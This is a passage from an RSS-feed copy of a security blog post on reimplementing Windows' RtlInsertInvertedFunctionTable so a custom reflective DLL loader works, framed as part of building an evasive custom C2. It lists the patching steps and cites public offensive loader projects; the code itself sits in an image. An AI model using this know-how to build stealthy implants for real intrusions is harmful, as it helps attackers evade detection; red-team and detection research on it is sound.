<h4 style="text-align: justify;"><span style="color: #451dc7;">Implement the RtlInsertInvertedFunctionTable</span></h4>
<p>The <span style="color: #451dc7;"><em>RtlInsertInvertedFunctionTable</em> </span>can be implemented as the following:</p>
<ul>
<li>Locate the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>as explained before</li>
<li>Unprotect the <span style="color: #451dc7;"><em>.mrdata</em></span> section from <span style="color: #451dc7;"><em>ReadOnly</em> </span>to <span style="color: #451dc7;"><em>ReadWrite</em> </span>using <span style="color: #451dc7;"><em>VirtualProtect</em></span></li>
<li>Locate the index where the new <span style="color: #451dc7;"><em>DLL</em> </span>entry must be stored (these entries are sorted by image base address)</li>
<li>Write the <span style="color: #451dc7;"><em>RTL_INVERTED_FUNCTION_TABLE_ENTRY</em> </span>element in the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span></li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24374" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/13-RtlpInsertInvertedFunctionTableEntry-Implementation.png" alt="" width="605" height="659" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/13-RtlpInsertInvertedFunctionTableEntry-Implementation.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/13-RtlpInsertInvertedFunctionTableEntry-Implementation-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/13-RtlpInsertInvertedFunctionTableEntry-Implementation-36x39.png 36w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: center;"><em>Figure 13:  RtlpInsertInvertedFunctionTableEntry implementation</em></p>
<p>This code can be added to the <em>DarkLoadLibrary</em><a href="#_ftn7" name="_ftnref7">[7]</a> project to get a fully functional <em><span style="color: #451dc7;">DLL</span> </em>Loader.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">Conclusion</span></h2>
<p>When developing a custom <span style="color: #451dc7;"><em>C2</em></span>, the most difficult part is not getting something functional. This is mainly basic development. The most difficult and interesting part is to get something <em><span style="color: #451dc7;">OPSEC</span></em>.</p>
<p>This part implies a deep understanding of Windows internals in order to understand what <em><span style="color: #451dc7;">IOC</span> </em>will be raised, how it can be bypassed and how this custom part can be adapted to be fully integrated with the native <span style="color: #451dc7;"><em>Windows</em> </span>ecosystem.</p>
<p>This blogpost does not only show how a specific part of the <em><span style="color: #451dc7;">Windows DLL</span></em> loader can be reimplemented, but how <span style="color: #451dc7;"><em>IOC</em> </span>can be hunted, and how the <span style="color: #451dc7;"><em>Windows</em> </span>internals can be reversed to adapt our work to the ecosystem.</p>
<p> </p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> <a href="https://otterhacker.github.io/Malware/Reflective DLL injection.html" data-wplink-url-error="true">https://otterhacker.github.io/Malware/Reflective DLL injection.html</a></p>
<p><a href="#_ftnref2" name="_ftn2">[2]</a> <a href="https://posts.specterops.io/perfect-loader-implementations-7d785f4e1fa">https://posts.specterops.io/perfect-loader-implementations-7d785f4e1fa</a></p>
<p><a href="#_ftnref3" name="_ftn3">[3]</a> <a href="https://otterhacker.github.io/Malware/Reflective DLL injection.html" data-wplink-url-error="true">https://otterhacker.github.io/Malware/Reflective DLL injection.html</a></p>
<p><a href="#_ftnref4" name="_ftn4">[4]</a> <a href="https://twitter.com/_batsec_">https://twitter.com/_batsec_</a></p>
<p><a href="#_ftnref5" name="_ftn5">[5]</a> <a href="https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/">https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/</a></p>
<p><a href="#_ftnref6" name="_ftn6">[6]</a> <a href="https://github.com/strivexjun/MemoryModulePP/blob/master/MemoryModulePP.c">https://github.com/strivexjun/MemoryModulePP/blob/master/MemoryModulePP.c</a></p>
<p><a href="#_ftnref7" name="_ftn7">[7]</a> <a href="https://github.com/bats3c/DarkLoadLibrary">https://github.com/bats3c/DarkLoadLibrary</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/">LoadLibrary madness: dynamically load WinHTTP.dll</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
